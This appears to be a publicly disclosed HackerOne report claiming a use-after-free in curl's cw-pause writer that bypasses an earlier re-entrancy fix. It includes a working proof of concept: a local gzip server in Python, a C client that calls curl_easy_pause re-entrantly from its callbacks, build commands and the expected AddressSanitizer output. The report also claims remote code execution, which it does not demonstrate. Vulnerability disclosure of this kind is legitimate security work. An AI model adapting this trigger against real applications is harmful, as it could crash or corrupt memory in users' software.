HexBrain

curl · Report #4166602

Re-entrant curl_easy_pause UAF in cw-pause

N/Astatus
lowseverity
6upvotes
3 Nov 2026disclosed

How it was found

Summary

This report is a bypass of the prior fix for the nested curl_easy_pause() re-entrancy issue described in HackerOne report #4102061. The original patch guarded the writer path in lib/cw-out.c by adding a re-entrancy guard around cw_out_flush_chain(), but it did not guard the sibling writer implementation in lib/cw-pause.c.

The vulnerable behavior remains reachable because cw-pause is installed earlier in the writer chain (CURL_CW_BEFORE_DECODE) than the patched cw-out path (CURL_CW_CLIENT). When a write callback returns CURL_WRITEFUNC_PAUSE, libcurl marks the transfer paused and eventually re-enters the flush path. If the callback stack then calls curl_easy_pause(CURLPAUSE_RECV) followed by curl_easy_pause(CURLPAUSE_CONT), the nested continue re-enters the writer stack from the head while the outer frame still holds first = ctx->buf. The nested flush can free or invalidate the same buffer node the outer frame still intends to use. The result is a classic heap use-after-free / double-free in the paused body replay path.

This is not a different bug in a different subsystem; it is the same class of issue as the earlier report, but at a second crash site. The original fix addressed only one writer implementation, leaving the earlier cw-pause flush re-entrancy path intact and therefore bypassing the mitigation.

The issue is reachable from attacker-controlled HTTP content when the server sends a gzip/deflate/brotli/zstd-compressed body and the client code pauses inside a write or debug callback. This is a high-risk memory-corruption condition in a widely used networking library and can lead to corruption of adjacent heap state and potentially arbitrary code execution in the embedding process.

Steps to Reproduce

  1. Build libcurl from source with ASan enabled, using a tree that includes the prior fix for cw-out but still lacks a guard in cw-pause.
  2. Start a local HTTP server that serves a gzip-compressed response on 127.0.0.1.
  3. Compile the standalone PoC below against that local libcurl build.
  4. The PoC sets CURLOPT_ACCEPT_ENCODING to gzip, enables verbose tracing, and registers both a WRITEFUNCTION and a DEBUGFUNCTION.
  5. In the write callback, the first body chunk returns CURL_WRITEFUNC_PAUSE.
  6. In the debug callback, when it sees the trace text PAUSE requested, it calls curl_easy_pause(CURLPAUSE_RECV) and then immediately curl_easy_pause(CURLPAUSE_CONT).
  7. The nested continue re-enters the writer stack while the outer flush still holds the same cw_pause_buf node, triggering the UAF/double-free.
  8. On ASan builds, this is observed as a heap-use-after-free or double-free in libcurl. On a non-ASan debug build, it generally crashes or aborts in heap management code.

Proof of Concept

gzip_server.py

#!/usr/bin/env python3
import gzip
import http.server
import socketserver

payload = (b'A' * 6000) + b'\n' + (b'B' * 6000)
compressed = gzip.compress(payload)

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        body = compressed
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain; charset=utf-8')
        self.send_header('Content-Encoding', 'gzip')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        pass

if __name__ == '__main__':
    print(f'Serving gzip payload ({len(compressed)} compressed bytes) on http://127.0.0.1:18080/')
    with socketserver.TCPServer(('127.0.0.1', 18080), Handler) as httpd:
        httpd.serve_forever()

poc.c

#include <curl/curl.h>
#include <stdio.h>
#include <string.h>

struct state {
  int write_paused;
  int nested;
};

static int contains(const char *buf, size_t len, const char *needle) {
  size_t n = strlen(needle);
  size_t i;

  if (len < n)
    return 0;

  for (i = 0; i <= len - n; ++i) {
    if (memcmp(buf + i, needle, n) == 0)
      return 1;
  }

  return 0;
}

static size_t write_cb(char *ptr, size_t size, size_t nmemb, void *userdata) {
  struct state *st = (struct state *)userdata;
  size_t total = size * nmemb;

  if (!st->write_paused) {
    st->write_paused = 1;
    fprintf(stderr, "[write_cb] returning CURL_WRITEFUNC_PAUSE\n");
    return CURL_WRITEFUNC_PAUSE;
  }

  fwrite(ptr, size, nmemb, stdout);
  return total;
}

static int debug_cb(CURL *easy, curl_infotype type, char *data, size_t size,
                    void *userdata) {
  struct state *st = (struct state *)userdata;

  if (type == CURLINFO_TEXT && !st->nested) {
    const char want[] = "PAUSE requested";
    if (contains(data, size, want)) {
      st->nested = 1;
      fprintf(stderr, "[debug_cb] curl_easy_pause(RECV); curl_easy_pause(CONT)\n");
      curl_easy_pause(easy, CURLPAUSE_RECV);
      curl_easy_pause(easy, CURLPAUSE_CONT);
    }
  }

  return 0;
}

int main(int argc, char **argv) {
  CURL *easy;
  CURLcode rc;
  const char *url = argc > 1 ? argv[1] : "http://127.0.0.1:18080/";
  struct state st = {0, 0};

  rc = curl_global_trace("write");
  if (rc != CURLE_OK) {
    fprintf(stderr, "curl_global_trace failed: %s\n", curl_easy_strerror(rc));
    return 1;
  }

  easy = curl_easy_init();
  if (!easy) {
    fprintf(stderr, "curl_easy_init failed\n");
    return 1;
  }

  curl_easy_setopt(easy, CURLOPT_URL, url);
  curl_easy_setopt(easy, CURLOPT_VERBOSE, 1L);
  curl_easy_setopt(easy, CURLOPT_DEBUGFUNCTION, debug_cb);
  curl_easy_setopt(easy, CURLOPT_DEBUGDATA, &st);
  curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, write_cb);
  curl_easy_setopt(easy, CURLOPT_WRITEDATA, &st);
  curl_easy_setopt(easy, CURLOPT_ACCEPT_ENCODING, "gzip");

  fprintf(stderr, "[main] starting transfer to %s\n", url);
  rc = curl_easy_perform(easy);
  fprintf(stderr, "[main] curl_easy_perform -> %d (%s)\n", (int)rc,
          curl_easy_strerror(rc));

  curl_easy_cleanup(easy);
  return 0;
}

Build and run

# Terminal 1
python3 gzip_server.py

# Terminal 2
clang -fsanitize=address -g -O1 -I /path/to/libcurl/include \
  -o poc poc.c /path/to/libcurl/lib/libcurl.a -lz

ASAN_OPTIONS=detect_leaks=0 ./poc http://127.0.0.1:18080/

Expected output on an affected build:

[write_cb] returning CURL_WRITEFUNC_PAUSE
[debug_cb] curl_easy_pause(RECV); curl_easy_pause(CONT)
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free
...
#0 ... in cw_pause_flush
...

Remediation

The correct fix is to apply the same re-entrancy guard pattern to lib/cw-pause.c that was added to lib/cw-out.c. Specifically, add a per-context flush guard (for example BIT(flushing) or equivalent), short-circuit nested flushes before touching ctx->buf, and force the outer loop to re-evaluate state after a nested callback returns instead of assuming the current node is still valid.

A more robust long-term fix is to enforce re-entrancy protection once at the writer-stack level, in Curl_cwriter_flush() / Curl_cwriter_unpause(), so future writers cannot reintroduce the same bug clas

Impact

The issue is exploitable from a hostile or compromised HTTP server that can legitimately serve gzip/deflate/brotli/zstd-compressed content. A client application that uses a write or debug callback and calls curl_easy_pause() inside that callback is vulnerable. Heap use-after-free or double-free in libcurl can corrupt adjacent memory and may enable remote code execution in the embedding application.

This is particularly important for software that accepts untrusted HTTP responses, including proxies, download managers, security tooling, and SDKs that rely on libcurl for network I/O. The impact is equivalent to the original vulnerability class, but it bypasses the fix for the earlier report by reintroducing the same flaw in the sibling pause writer.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original